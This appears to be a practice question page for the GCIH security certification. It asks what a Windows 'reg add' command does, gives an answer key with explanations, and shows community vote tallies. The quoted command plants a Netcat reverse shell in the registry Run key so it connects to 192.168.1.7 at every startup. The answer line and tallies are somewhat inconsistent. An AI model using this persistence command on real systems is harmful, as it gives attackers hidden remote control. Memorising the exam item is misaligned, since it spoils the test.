GCIH · Question #40
You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e…
The correct answer is B. You want to set the Netcat to execute command any time. C. You want to put Netcat in the stealth mode. D. You want to add the Netcat command to the Windows registry. The reg add command writes Netcat to the Windows Registry Run key so it launches automatically on startup in detach (stealth) mode and connects back as a reverse shell. The question tests understanding of Netcat persistence and stealth flags.
Question
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe" What task do you want to perform by running this command? Each correct answer represents a complete solution. Choose all that apply.
Options
- AYou want to perform banner grabbing.
- BYou want to set the Netcat to execute command any time.
- CYou want to put Netcat in the stealth mode.
- DYou want to add the Netcat command to the Windows registry.
How the community answered
(42 responses)- A19% (8)
- B81% (34)
Why each option
The reg add command writes Netcat to the Windows Registry Run key so it launches automatically on startup in detach (stealth) mode and connects back as a reverse shell. The question tests understanding of Netcat persistence and stealth flags.
Banner grabbing involves connecting to a remote service to retrieve its version or type information using tools like Telnet or Netcat in a read-only probe - this command configures a persistent reverse shell, not a banner grab.
Adding nc.exe under HKLM\...\Run ensures Netcat executes automatically every time Windows starts, achieving persistent command execution without manual intervention.
The -d flag runs Netcat in detach mode, which disconnects it from the interactive desktop and hides the console window, effectively placing it in stealth mode.
The reg add command explicitly writes a new registry value named 'nc' under the Run key, adding the Netcat command and its parameters directly into the Windows registry for persistence.
Concept tested: Netcat persistence via Windows registry Run key
Source: https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys
Topics
Community Discussion
No community discussion yet for this question.